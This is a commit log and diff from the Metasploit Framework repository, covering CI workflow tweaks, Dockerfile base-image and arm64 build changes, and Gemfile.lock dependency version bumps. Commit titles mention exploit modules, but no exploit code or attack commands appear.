2023-09-22 11:52:14 +02:00
Jack Heysel 127f0104d2 Address review comments 2023-09-21 13:36:00 -04:00
errorxyz e6f55d06ec Add documentation for auxiliary/scanner/http_traversal module 2023-09-21 22:59:10 +05:30
joev 1b25ae5e14 Add comment explaining UNSUPPORTED_LANGS in spec. 2023-09-21 08:53:26 -06:00
joev 75e9a0a834 Add support for base32/64 comments.
* Explicitly documents lack of support for VB style comments.
2023-09-21 08:50:58 -06:00
adfoster-r7 e84d433dde Update using metasploit docs 2023-09-21 14:53:00 +01:00
Jack Heysel 12de4dd2c7 Improved request sending and added watchtower ref 2023-09-21 09:45:59 -04:00
cgranleese-r7 6fdcc43530 Removes mixin 2023-09-21 14:35:13 +01:00
Ashley Donaldson a7f2165029 Send default etypes first, and fall back to RC4 if it doesn't require pre-auth 2023-09-21 21:22:25 +10:00
h00die 77c299d44b review comments 2023-09-21 06:45:27 -04:00
joev 1d2dde9f81 Add comment support for "octal" format.
* Adds failing test that discovers several additional violations.
2023-09-20 17:24:00 -06:00
Jack Heysel da8c020d14 Junos OS SRX and EX PHPRC Manipulation RCE 2023-09-20 16:47:05 -04:00
joev b1606264da Fix incorrect parameter docstring. 2023-09-20 14:30:05 -06:00
joev 91ce4c3d9d Add new spec for Msf::Simple::Payload. 2023-09-20 14:29:47 -06:00
JustAnda7 6972a910fb changes-to-support-ntlm 2023-09-20 16:48:08 +00:00
elliot 89d1923c41 Update fs.rb 2023-09-21 00:51:28 +10:00
elliot 67e003794b Update fs.rb 2023-09-21 00:46:55 +10:00
elliot f28e0d9d93 Update fs.rb
Added lmkdir command to create new directory on local machine
2023-09-21 00:10:07 +10:00
Dean Welch 1609836ea2 Don't store passwords to creds if the password wasn't needed for the auth type 2023-09-20 14:30:06 +01:00
cgranleese-r7 461e661d06 Makes improvement to enum_computers module 2023-09-20 12:50:39 +01:00
Dean Welch 6a04f5ed3d Be less strict on hostname matching for ccache credentials 2023-09-18 14:54:20 +01:00
Corey fadd9afb56 Rubocop corrections 2023-09-17 18:23:27 -04:00
Corey dd03ad30d0 minor changes to method argument names 2023-09-17 18:22:40 -04:00
Corey ea63fe5652 store keys in instance variable to prevent multiple lookups 2023-09-17 18:22:40 -04:00
Corey bcaf3b2a3b continue changing nomenclature 2023-09-17 18:22:34 -04:00
Corey 9a8f7af321 Continue changing method names 2023-09-17 18:21:14 -04:00
Corey 26b774d92b rename services? to services_exist? 2023-09-17 18:20:12 -04:00
Corey be48eb69f4 rename proc? to process_exists? 2023-09-17 18:19:23 -04:00
Corey c126458f6d Make @process [] instead of nil 2023-09-17 18:18:28 -04:00
Corey 283b6aa938 continue removing redundant return statements and registry queries 2023-09-17 18:16:15 -04:00
Corey 8247a98083 Add or clause to avoid redundant return statements 2023-09-17 18:16:15 -04:00
Corey 6e0adcdbbb remove redundant calls for system manufacter registry 2023-09-17 18:16:15 -04:00
Corey 8529ca20f2 remove redundant registry queries for system_product_name 2023-09-17 18:16:14 -04:00
Corey e0ee339b0a order method callsd 2023-09-17 18:15:50 -04:00
Corey e3d03ea963 store system and video bios version info in instance variable to avoid redundant registry quieries 2023-09-17 18:13:25 -04:00
Corey 614d9e430e Remove redundant .join in parralells? when querying systembiosversion 2023-09-17 18:13:25 -04:00
Corey 6a5ee283f9 Refactor registry queries 2023-09-17 18:13:22 -04:00
Corey a270587070 create rgval_match? method 2023-09-17 18:12:20 -04:00
Corey fb7ded054e Add get srvals method 2023-09-17 18:12:20 -04:00
Corey 02b1211deb use instance variable in service_exists? method 2023-09-17 18:12:20 -04:00
Corey 8525cb858f Make default behavior of @services [] rather than nil 2023-09-17 18:12:20 -04:00
Corey 6c27e63c55 Add necessary false statements to procs? and services?, impliment services? calls 2023-09-17 18:12:07 -04:00
Corey c701326a21 Add services? method 2023-09-17 18:10:01 -04:00
Corey 40fe50c2b4 Add implimentation and documentation for processes method and @processes instance variable 2023-09-17 18:10:01 -04:00
Corey a503aefe46 Add proc? to VM screening methods, rebase from rapid7/master 2023-09-17 18:09:31 -04:00
Corey 9003b055a6 Rename processes_present? to procs? 2023-09-17 18:05:47 -04:00
Corey 8b33ca316d Remove redundant if statements, add @processes, and create processes_present? method 2023-09-17 18:05:47 -04:00
jheysel-r7 2c48ee5b3f Update modules/post/windows/gather/checkvm.rb 2023-09-17 18:05:47 -04:00
h00die e34ed10eca superset rce more stable 2023-09-15 16:29:05 -04:00
joev 1d51514730 Add spec for format without comment support. 2023-09-15 12:35:45 -06:00
h00die a8da47e73c still working on resetting values 2023-09-15 13:32:24 -04:00
eu ffb34b05ef Adherence to code review 2023-09-15 16:55:05 +02:00
Dean Welch 09c757513f Correct Msf::ValidationError namespacing 2023-09-15 12:23:49 +01:00
Carmix 1efb3f733f solves #18371 2023-09-15 11:36:15 +02:00
h00die 0c418fdf65 still working on resetting values 2023-09-14 14:28:29 -04:00
h00die 619a46d450 working hashes for apache superset rce 2023-09-14 13:21:01 -04:00
Heyder Andrade 766766be78 Apply suggestions from code review
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-09-14 16:13:10 +02:00
eu 8627616404 Added scenario for a non-vulnrable version 2023-09-14 15:56:35 +02:00
eu 54a7b55eb4 Fix code style 2023-09-14 15:05:41 +02:00
h00die 686d704b37 superset rce wip 2023-09-13 15:26:29 -04:00
joev 0b73e4ca7a Add support to msfvenom for "-f octal". 2023-09-13 12:17:22 -06:00
eu 401c775336 Rename module 2023-09-13 17:19:42 +02:00
eu fc4b47cddd Added documentation 2023-09-13 17:18:18 +02:00
Dean Welch 5713b74cd4 Use constants for LDAP::Auth conditional 2023-09-12 14:41:58 +01:00
Dean Welch 586f27f44a Fix issue with username generation always adding domain 2023-09-11 16:35:31 +01:00
Dean Welch 1af852b240 Add remote ldap specs 2023-09-11 16:33:01 +01:00
Dean Welch 7a06ad8d5d Add ldap login scanner specs 2023-09-11 16:33:01 +01:00
Dean Welch 80757fc717 Add missing require 2023-09-11 16:33:01 +01:00
Dean Welch fc89c9939a Add LDAP login scanner 2023-09-11 16:33:01 +01:00
Dean Welch 8f013d7aef Add ldap login scanner module 2023-09-11 16:33:01 +01:00
eu 6a260f60e0 Initial commit 2023-09-07 13:53:42 +02:00
bwatters 48dcb2440b Delete repeat 2023-09-06 08:43:56 -05:00
bwatters 255bbf22d6 Add section on not using fail_with in check methods 2023-09-06 08:39:08 -05:00
Ashley Donaldson f27439760d Update mock for unit tests 2023-09-04 10:47:06 +10:00
Ashley Donaldson 8992c955b4 Prioritise kerberos scanning over RC4, to get more easily crackable hash. Fall back to defaults. 2023-09-04 10:12:57 +10:00
Jeffrey Martin 6b5fff6c33 Land #18125, LDAP Capture Simple Authentication 2023-09-01 11:08:19 -05:00
JustAnda7 05d6e9815d changes-to-support-nmap 2023-09-01 08:07:01 -04:00
RadioLogic e026791905 Added catch all warning to remove added groups 2023-08-30 12:15:00 -04:00
RadioLogic 8497699d53 Moved creation of new groups to its own function 2023-08-24 13:26:15 -04:00
RadioLogic 1e0ec1b0e1 Minimalize groupadd checks
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-08-24 13:14:05 -04:00
RadioLogic 55c22f9848 Added some protective statements 2023-08-23 13:44:30 -04:00
RadioLogic 48acd804da Added PasswordHashType advanced option 2023-08-23 13:37:08 -04:00
RadioLogic b464b9119c Added missing newline to manual writes 2023-08-23 13:21:53 -04:00
RadioLogic 93624cca53 Moved groups section to its own function 2023-08-23 13:18:01 -04:00
RadioLogic 1bff275991 Moved manual group write to its own function 2023-08-23 13:01:22 -04:00
RadioLogic 0ae003f55b Moved os_platform to its own function 2023-08-23 12:48:01 -04:00
RadioLogic 86885e8e58 Replaced echo command in manual with append_file 2023-08-23 12:27:39 -04:00
RadioLogic 0c005a50c9 Moved creating groups towards the top implementing it only once 2023-08-23 12:23:59 -04:00
RadioLogic 85fc0f48e7 Made wrapper to command_exists? to ensure safe run 2023-08-23 11:51:14 -04:00
RadioLogic 432cdce773 Fixed condition logic to invalid groups 2023-08-22 12:53:09 -04:00
RadioLogic 7d78b52337 Got rid of binary_case variable 2023-08-22 12:46:24 -04:00
RadioLogic ee4a5a01d2 Replaced !invalid.empty? with invalid.any? 2023-08-22 12:44:16 -04:00
RadioLogic 6116fb6a8f Greatly simplified groups null check 2023-08-22 12:41:17 -04:00
RadioLogic 1604cf2134 Removed default value to groups option 2023-08-22 12:40:23 -04:00
RadioLogic c81de292d8 Setting sudomethod option to required
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-08-22 12:28:35 -04:00
RadioLogic 402e25824b Making option only available based on another option
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-08-22 12:26:23 -04:00
RadioLogic 2c63dfa79f Made groups regex safe
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-08-22 12:25:00 -04:00
RadioLogic 737b5a46ed Fixed exist condition with ruby ninjutsu
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-08-22 12:24:06 -04:00
RadioLogic a024e79b6b Added change to protect groups if its unset 2023-08-21 11:36:16 -04:00
Connor Shade a3ab96f2e0 Add fetch payload mention to cmd-injection doc 2023-08-17 11:37:42 -04:00
RadioLogic 6a4d3d3854 Changed bad print to warning 2023-08-14 16:20:08 -04:00
RadioLogic 6ff0c956b3 Merge branch 'master' into useradd 2023-08-14 16:13:54 -04:00
RadioLogic 5a66693ae1 Added more description to groups error 2023-08-14 16:05:37 -04:00
RadioLogic 2720027468 Added comments to manual groups 2023-08-14 15:52:54 -04:00
RadioLogic 4b9243c061 Added validation to check valid groups to add 2023-08-14 15:32:56 -04:00
RadioLogic 0550f44012 replace print status to print line 2023-08-14 15:31:42 -04:00
RadioLogic 6632993bf1 Added gid correction to manual group additions 2023-08-14 14:11:38 -04:00
RadioLogic 54fa11c822 Added new UseraddMethod argument 2023-08-11 17:58:57 -04:00
Connor Shade 59bdd0d430 add docs for cmn-injection-module 2023-08-10 07:13:43 -04:00
RadioLogic 5d0ea40212 Replaced if statement with clean case 2023-08-01 19:51:19 -04:00
RadioLogic c361dd9bdf Removed condition that never occurs 2023-08-01 19:48:49 -04:00
RadioLogic 594fea60ba Update modules/post/linux/manage/adduser.rb
Made some safety checks easier to read

Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-08-01 15:29:08 -04:00
JustAnda7 79d3cc81cb changes-to-support-nmap-script 2023-08-01 07:50:01 -04:00
RadioLogic 49eeb90145 Removed pointless line 2023-07-20 19:25:09 -04:00
RadioLogic 0de59481e9 Added better means to ignore groups additions on empty set 2023-07-20 15:18:48 -04:00
RadioLogic 761f91faf0 Added quotes around password to prevent bash shebang 2023-07-20 15:17:26 -04:00
RadioLogic ab5b12e8f1 Corrected sideeffects
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-07-20 14:52:46 -04:00
RadioLogic 923cb78110 Corrected reliability
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-07-20 14:52:27 -04:00
RadioLogic 157a815b76 Added documentation 2023-07-17 16:14:03 -04:00
RadioLogic 0680630d25 Redefined verbose prints 2023-07-17 16:04:37 -04:00
RadioLogic 394ea6029a Added prevention of printing empty missing groups 2023-07-17 15:46:17 -04:00
RadioLogic 1c693d9fad Finalized /etc/shadow line 2023-07-17 15:43:28 -04:00
RadioLogic 427e39b152 Added check to prevent manual from readding users 2023-07-17 15:42:48 -04:00
RadioLogic cc9d70b896 Added missing each in manual groups 2023-07-17 15:37:50 -04:00
RadioLogic 4ff7babae7 Turned missing groups into enum 2023-07-17 15:15:53 -04:00
RadioLogic 6e6910519a Added error if custom command doesnt exist 2023-07-17 13:59:30 -04:00
RadioLogic 9bc00f7759 Implemented custom command detection 2023-07-17 13:59:09 -04:00
RadioLogic 3a3ffcb6df Swapped vprint in useradd 2023-07-17 13:58:18 -04:00
RadioLogic 7e9071627f Added better verbose logging 2023-07-17 13:35:45 -04:00
RadioLogic c63810101c Added error for illegal usernames 2023-07-17 12:47:34 -04:00
JustAnda7 8e33badd80 Better-parsing-of-dn-and-minor-changes 2023-07-05 18:21:48 +00:00
manishkumarr1017 87582ee5c9 PR Review changes 2023-06-23 13:14:48 +05:30
manishkumarr1017 375a91e4f7 Merge branch 'rapid7:master' into add_new_column_in_creds 2023-06-23 11:35:34 +05:30
Nishant Desai 823824163e Documentation-of-Capturing-Simple-Auth 2023-06-21 13:29:25 +00:00
Nishant Desai e3c97148e8 Capturing-SimpleBind-Authentication 2023-06-18 18:47:42 +00:00
RadioLogic ed5eeea2e6 Added a lot of vprints 2023-06-02 21:13:30 -04:00
RadioLogic e743edb933 Fixed instance of no groups 2023-06-02 21:13:10 -04:00
RadioLogic 3dcfaac0de Removed use of manual binary in platform check 2023-06-02 21:12:05 -04:00
RadioLogic e2d56c02c4 Added use of sysinfo for getting OS 2023-06-02 21:11:41 -04:00
RadioLogic 3af89850dd Added faulire for shell not existing 2023-06-02 21:11:02 -04:00
RadioLogic c2a48cde7c Added post module to cleanly add new users 2023-06-02 19:11:16 -04:00
manishkumarr1017 bd9591f621 changing nil datatype to string datatype for the column display 2023-05-19 19:11:06 +05:30
manishkumarr1017 df4a5b9d69 Merge branch 'master' of github.com:manishkumarr1017/metasploit-framework into add_new_column_in_creds 2023-05-19 18:45:38 +05:30
bcoles 71f938682c Post::Windows::Service: Support start/stop service on shell sessions 2023-04-28 18:44:11 +10:00
emirpolatt c65685deae CVE-2023-27253 - PfSense 2.6.0 'Backup & Restore' OS Command Injection Module 2023-03-26 02:46:31 +03:00
manishkumarr1017 4aea945be3 fixing the failed specs by keeping the exact output necessary 2023-03-18 23:24:00 +05:30
manishkumarr1017 02608a4e12 adding extra specs for the new enhancement and optimizing the queries 2023-03-18 23:04:55 +05:30
manishkumarr1017 dc97b33f4a Merge branch 'rapid7:master' into add_new_column_in_creds 2023-03-18 20:45:41 +05:30
Grant Willcox 28a2bcf9d7 Fix calculation of delete_count size 2023-03-06 12:30:06 -06:00
manishkumarr1017 60113f74b7 fixing spec files for creds command new enhancements 2023-03-01 23:27:18 +05:30
manishkumarr1017 cae7f8c350 adding a new column cracked password in creds command to show cracked passwords 2023-02-23 15:01:51 +05:30
1281 changed files with 68879 additions and 11141 deletions
+6 -5
View File
@@ -38,6 +38,7 @@ on:
- 'lib/msf/core/**'
- 'tools/dev/**'
- 'spec/acceptance/**'
- 'spec/support/acceptance/**'
- 'spec/acceptance_spec_helper.rb'
# Example of running as a cron, to weed out flaky tests
# schedule:
@@ -63,10 +64,10 @@ jobs:
# Java - newer versions of Java are not supported currently: https://github.com/rapid7/metasploit-payloads/issues/647
- { name: java, runtime_version: 8 }
# PHP
- { name: php, runtime_version: 5.3 }
- { name: php, runtime_version: 7.4 }
- { name: php, runtime_version: 8.2 }
# PHP - Temporarily removed as tests are timing out on Github actions
# - { name: php, runtime_version: 5.3 }
# - { name: php, runtime_version: 7.4 }
# - { name: php, runtime_version: 8.2 }
include:
# Windows Meterpreter
- { meterpreter: { name: windows_meterpreter }, os: windows-2019 }
@@ -92,7 +93,7 @@ jobs:
if: runner.os == 'Linux'
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
- uses: shivammathur/setup-php@5b29e8a45433c406b3902dff138a820a408c45b7
- uses: shivammathur/setup-php@6d7209f44a25a59e904b1ee9f3b0c33ab2cd888d
if: ${{ matrix.meterpreter.name == 'php' }}
with:
php-version: ${{ matrix.meterpreter.runtime_version }}
+2 -2
View File
@@ -67,7 +67,7 @@ jobs:
- '3.0'
- '3.1'
- '3.2'
- '3.3.0-preview1'
- '3.3.0-preview3'
os:
- ubuntu-20.04
- ubuntu-latest
@@ -76,7 +76,7 @@ jobs:
include:
- os: ubuntu-latest
ruby: '3.1'
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" DATASTORE_FALLBACKS=1'
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1'
test_cmd:
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"
+16 -5
View File
@@ -1,7 +1,8 @@
FROM ruby:3.0.5-alpine3.15 AS builder
FROM ruby:3.1.4-alpine3.18 AS builder
LABEL maintainer="Rapid7"
ARG BUNDLER_CONFIG_ARGS="set clean 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
ARG BUNDLER_CONFIG_ARGS="set no-cache 'true' set system 'true' set without 'development test coverage'"
ARG BUNDLER_FORCE_CLEAN="true"
ENV APP_HOME=/usr/src/metasploit-framework
ENV TOOLS_HOME=/usr/src/tools
ENV BUNDLE_IGNORE_MESSAGES="true"
@@ -33,8 +34,11 @@ RUN apk add --no-cache \
go \
&& echo "gem: --no-document" > /etc/gemrc \
&& gem update --system \
&& bundle config $BUNDLER_ARGS \
&& bundle config $BUNDLER_CONFIG_ARGS \
&& bundle install --jobs=8 \
&& if [ "${BUNDLER_FORCE_CLEAN}" == "true" ]; then \
bundle clean --force; \
fi \
# temp fix for https://github.com/bundler/bundler/issues/6680
&& rm -rf /usr/local/bundle/cache \
# needed so non root users can read content of the bundle
@@ -49,8 +53,9 @@ RUN mkdir -p $TOOLS_HOME/bin && \
cd go/src && \
./make.bash
FROM ruby:3.0.5-alpine3.15
FROM ruby:3.1.4-alpine3.18
LABEL maintainer="Rapid7"
ARG TARGETARCH
ENV APP_HOME=/usr/src/metasploit-framework
ENV TOOLS_HOME=/usr/src/tools
@@ -62,7 +67,13 @@ RUN addgroup -S $METASPLOIT_GROUP
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs \
postgresql-libs python3 py3-pip ncurses libcap su-exec alpine-sdk \
openssl-dev nasm mingw-w64-gcc
openssl-dev nasm
RUN\
if [ "${TARGETARCH}" = "arm64" ];\
then apk add --no-cache gcc musl-dev python3-dev libffi-dev gcompat;\
else apk add --no-cache mingw-w64-gcc;\
fi
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
+1
View File
@@ -52,3 +52,4 @@ group :test do
# Manipulate Time.now in specs
gem 'timecop'
end
+127 -120
View File
@@ -1,10 +1,10 @@
PATH
remote: .
specs:
metasploit-framework (6.3.36)
actionpack (~> 7.0)
activerecord (~> 7.0)
activesupport (~> 7.0)
metasploit-framework (6.3.58)
actionpack (~> 7.0.0)
activerecord (~> 7.0.0)
activesupport (~> 7.0.0)
aws-sdk-ec2
aws-sdk-ec2instanceconnect
aws-sdk-iam
@@ -26,14 +26,14 @@ PATH
filesize
hrr_rb_ssh-ed25519
http-cookie
irb
irb (~> 1.7.4)
jsobfu
json
metasm
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.148)
metasploit-payloads (= 2.0.166)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.26)
mqtt
@@ -60,6 +60,7 @@ PATH
rb-readline
recog
redcarpet
reline
rex-arch
rex-bin_tools
rex-core
@@ -80,7 +81,7 @@ PATH
rex-zip
ruby-macho
ruby-mysql
ruby_smb (~> 3.2.0)
ruby_smb (~> 3.3.0)
rubyntlm
rubyzip
sinatra
@@ -103,36 +104,36 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.1.0)
actionpack (7.0.5)
actionview (= 7.0.5)
activesupport (= 7.0.5)
actionpack (7.0.8)
actionview (= 7.0.8)
activesupport (= 7.0.8)
rack (~> 2.0, >= 2.2.4)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.2.0)
actionview (7.0.5)
activesupport (= 7.0.5)
actionview (7.0.8)
activesupport (= 7.0.8)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.1, >= 1.2.0)
activemodel (7.0.5)
activesupport (= 7.0.5)
activerecord (7.0.5)
activemodel (= 7.0.5)
activesupport (= 7.0.5)
activesupport (7.0.5)
activemodel (7.0.8)
activesupport (= 7.0.8)
activerecord (7.0.8)
activemodel (= 7.0.8)
activesupport (= 7.0.8)
activesupport (7.0.8)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 1.6, < 2)
minitest (>= 5.1)
tzinfo (~> 2.0)
addressable (2.8.4)
addressable (2.8.5)
public_suffix (>= 2.0.2, < 6.0)
afm (0.2.2)
allure-rspec (2.22.0)
allure-ruby-commons (= 2.22.0)
allure-rspec (2.23.0)
allure-ruby-commons (= 2.23.0)
rspec-core (>= 3.8, < 4)
allure-ruby-commons (2.22.0)
allure-ruby-commons (2.23.0)
mime-types (>= 3.3, < 4)
require_all (>= 2, < 4)
rspec-expectations (~> 3.12)
@@ -141,34 +142,35 @@ GEM
activerecord (>= 3.1.0, < 8)
ast (2.4.2)
aws-eventstream (1.2.0)
aws-partitions (1.776.0)
aws-sdk-core (3.174.0)
aws-partitions (1.834.0)
aws-sdk-core (3.185.1)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.651.0)
aws-sigv4 (~> 1.5)
jmespath (~> 1, >= 1.6.1)
aws-sdk-ec2 (1.382.0)
aws-sdk-core (~> 3, >= 3.174.0)
aws-sdk-ec2 (1.411.0)
aws-sdk-core (~> 3, >= 3.184.0)
aws-sigv4 (~> 1.1)
aws-sdk-ec2instanceconnect (1.27.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sdk-ec2instanceconnect (1.34.0)
aws-sdk-core (~> 3, >= 3.184.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.79.0)
aws-sdk-core (~> 3, >= 3.174.0)
aws-sdk-iam (1.87.0)
aws-sdk-core (~> 3, >= 3.184.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.66.0)
aws-sdk-core (~> 3, >= 3.174.0)
aws-sdk-kms (1.72.0)
aws-sdk-core (~> 3, >= 3.184.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.123.1)
aws-sdk-core (~> 3, >= 3.174.0)
aws-sdk-s3 (1.136.0)
aws-sdk-core (~> 3, >= 3.181.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.4)
aws-sdk-ssm (1.151.0)
aws-sdk-core (~> 3, >= 3.174.0)
aws-sigv4 (~> 1.6)
aws-sdk-ssm (1.158.0)
aws-sdk-core (~> 3, >= 3.184.0)
aws-sigv4 (~> 1.1)
aws-sigv4 (1.5.2)
aws-sigv4 (1.6.0)
aws-eventstream (~> 1, >= 1.0.2)
bcrypt (3.1.18)
base64 (0.1.1)
bcrypt (3.1.19)
bcrypt_pbkdf (1.1.0)
bindata (2.4.15)
bootsnap (1.16.0)
@@ -186,7 +188,7 @@ GEM
debug (1.8.0)
irb (>= 1.5.0)
reline (>= 0.3.1)
diff-lcs (1.5.0)
diff-lcs (1.5.1)
dnsruby (1.70.0)
simpleidn (~> 0.2.1)
docile (1.4.0)
@@ -208,18 +210,19 @@ GEM
factory_bot_rails (6.2.0)
factory_bot (~> 6.2.0)
railties (>= 5.0.0)
faker (3.2.0)
faker (3.2.1)
i18n (>= 1.8.11, < 2)
faraday (2.7.6)
faraday (2.7.11)
base64
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-net_http (3.0.2)
faraday-retry (2.2.0)
faraday (~> 2.0)
faye-websocket (0.11.2)
faye-websocket (0.11.3)
eventmachine (>= 0.12.0)
websocket-driver (>= 0.5.1)
ffi (1.15.5)
ffi (1.16.3)
filesize (0.2.0)
fivemat (1.3.7)
gssapi (1.3.1)
@@ -239,12 +242,13 @@ GEM
i18n (1.14.1)
concurrent-ruby (~> 1.0)
io-console (0.6.0)
irb (1.7.0)
reline (>= 0.3.0)
irb (1.7.4)
reline (>= 0.3.6)
jmespath (1.6.2)
jsobfu (0.4.2)
rkelly-remix
json (2.6.3)
language_server-protocol (3.17.0.3)
little-plugger (1.1.4)
logging (2.3.1)
little-plugger (~> 1.1)
@@ -256,12 +260,12 @@ GEM
systemu (~> 2.6.5)
memory_profiler (1.0.1)
metasm (1.0.5)
metasploit-concern (5.0.1)
metasploit-concern (5.0.2)
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
zeitwerk
metasploit-credential (6.0.5)
metasploit-credential (6.0.7)
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
@@ -271,12 +275,12 @@ GEM
rex-socket
rubyntlm
rubyzip
metasploit-model (5.0.1)
metasploit-model (5.0.2)
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
metasploit-payloads (2.0.148)
metasploit_data_models (6.0.2)
metasploit-payloads (2.0.166)
metasploit_data_models (6.0.3)
activerecord (~> 7.0)
activesupport (~> 7.0)
arel-helpers
@@ -288,26 +292,26 @@ GEM
webrick
metasploit_payloads-mettle (1.0.26)
method_source (1.0.0)
mime-types (3.4.1)
mime-types (3.5.1)
mime-types-data (~> 3.2015)
mime-types-data (3.2023.0218.1)
mini_portile2 (2.8.2)
minitest (5.18.0)
mime-types-data (3.2023.1003)
mini_portile2 (2.8.4)
minitest (5.20.0)
mqtt (0.6.0)
msgpack (1.6.1)
multi_json (1.15.0)
mustermann (3.0.0)
ruby2_keywords (~> 0.0.1)
nessus_rest (0.1.6)
net-imap (0.3.7)
net-imap (0.4.0)
date
net-protocol
net-ldap (0.18.0)
net-protocol (0.2.1)
timeout
net-smtp (0.3.3)
net-smtp (0.4.0)
net-protocol
net-ssh (7.1.0)
net-ssh (7.2.0)
network_interface (0.0.4)
nexpose (7.3.0)
nio4r (2.5.9)
@@ -324,7 +328,7 @@ GEM
packetfu (2.0.0)
pcaprub (~> 0.13.1)
parallel (1.23.0)
parser (3.2.2.3)
parser (3.2.2.4)
ast (~> 2.4.1)
racc
patch_finder (1.0.2)
@@ -335,31 +339,32 @@ GEM
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (1.5.3)
pg (1.5.4)
pry (0.14.2)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.10.1)
byebug (~> 11.0)
pry (>= 0.13, < 0.15)
public_suffix (5.0.1)
puma (6.3.0)
public_suffix (5.0.3)
puma (6.4.0)
nio4r (~> 2.0)
racc (1.7.0)
rack (2.2.7)
rack-protection (3.0.6)
rack
racc (1.7.1)
rack (2.2.8)
rack-protection (3.1.0)
rack (~> 2.2, >= 2.2.4)
rack-test (2.1.0)
rack (>= 1.3)
rails-dom-testing (2.0.3)
activesupport (>= 4.2.0)
rails-dom-testing (2.2.0)
activesupport (>= 5.0.0)
minitest
nokogiri (>= 1.6)
rails-html-sanitizer (1.6.0)
loofah (~> 2.21)
nokogiri (~> 1.14)
railties (7.0.5)
actionpack (= 7.0.5)
activesupport (= 7.0.5)
railties (7.0.8)
actionpack (= 7.0.8)
activesupport (= 7.0.8)
method_source
rake (>= 12.2)
thor (~> 1.0)
@@ -369,75 +374,75 @@ GEM
rasn1 (0.12.1)
strptime (~> 0.2.5)
rb-readline (0.5.5)
recog (3.1.1)
recog (3.1.2)
nokogiri
redcarpet (3.6.0)
regexp_parser (2.8.0)
reline (0.3.5)
regexp_parser (2.8.1)
reline (0.4.1)
io-console (~> 0.5)
require_all (3.0.0)
rex-arch (0.1.14)
rex-arch (0.1.15)
rex-text
rex-bin_tools (0.1.8)
rex-bin_tools (0.1.9)
metasm
rex-arch
rex-core
rex-struct2
rex-text
rex-core (0.1.31)
rex-encoder (0.1.6)
rex-encoder (0.1.7)
metasm
rex-arch
rex-text
rex-exploitation (0.1.38)
rex-exploitation (0.1.39)
jsobfu
metasm
rex-arch
rex-encoder
rex-text
rexml
rex-java (0.1.6)
rex-mime (0.1.7)
rex-java (0.1.7)
rex-mime (0.1.8)
rex-text
rex-nop (0.1.2)
rex-nop (0.1.3)
rex-arch
rex-ole (0.1.7)
rex-ole (0.1.8)
rex-text
rex-powershell (0.1.97)
rex-powershell (0.1.99)
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.10)
rex-random_identifier (0.1.11)
rex-text
rex-registry (0.1.4)
rex-rop_builder (0.1.4)
rex-registry (0.1.5)
rex-rop_builder (0.1.5)
metasm
rex-core
rex-text
rex-socket (0.1.54)
rex-socket (0.1.56)
rex-core
rex-sslscan (0.1.9)
rex-sslscan (0.1.10)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.3)
rex-text (0.2.52)
rex-zip (0.1.4)
rex-struct2 (0.1.4)
rex-text (0.2.56)
rex-zip (0.1.5)
rex-text
rexml (3.2.5)
rexml (3.2.6)
rkelly-remix (0.0.7)
rspec (3.12.0)
rspec-core (~> 3.12.0)
rspec-expectations (~> 3.12.0)
rspec-mocks (~> 3.12.0)
rspec-core (3.12.2)
rspec-support (~> 3.12.0)
rspec-expectations (3.12.3)
rspec (3.13.0)
rspec-core (~> 3.13.0)
rspec-expectations (~> 3.13.0)
rspec-mocks (~> 3.13.0)
rspec-core (3.13.0)
rspec-support (~> 3.13.0)
rspec-expectations (3.13.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.12.0)
rspec-mocks (3.12.5)
rspec-support (~> 3.13.0)
rspec-mocks (3.13.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.12.0)
rspec-support (~> 3.13.0)
rspec-rails (6.0.3)
actionpack (>= 6.1)
activesupport (>= 6.1)
@@ -448,26 +453,28 @@ GEM
rspec-support (~> 3.12)
rspec-rerun (1.1.0)
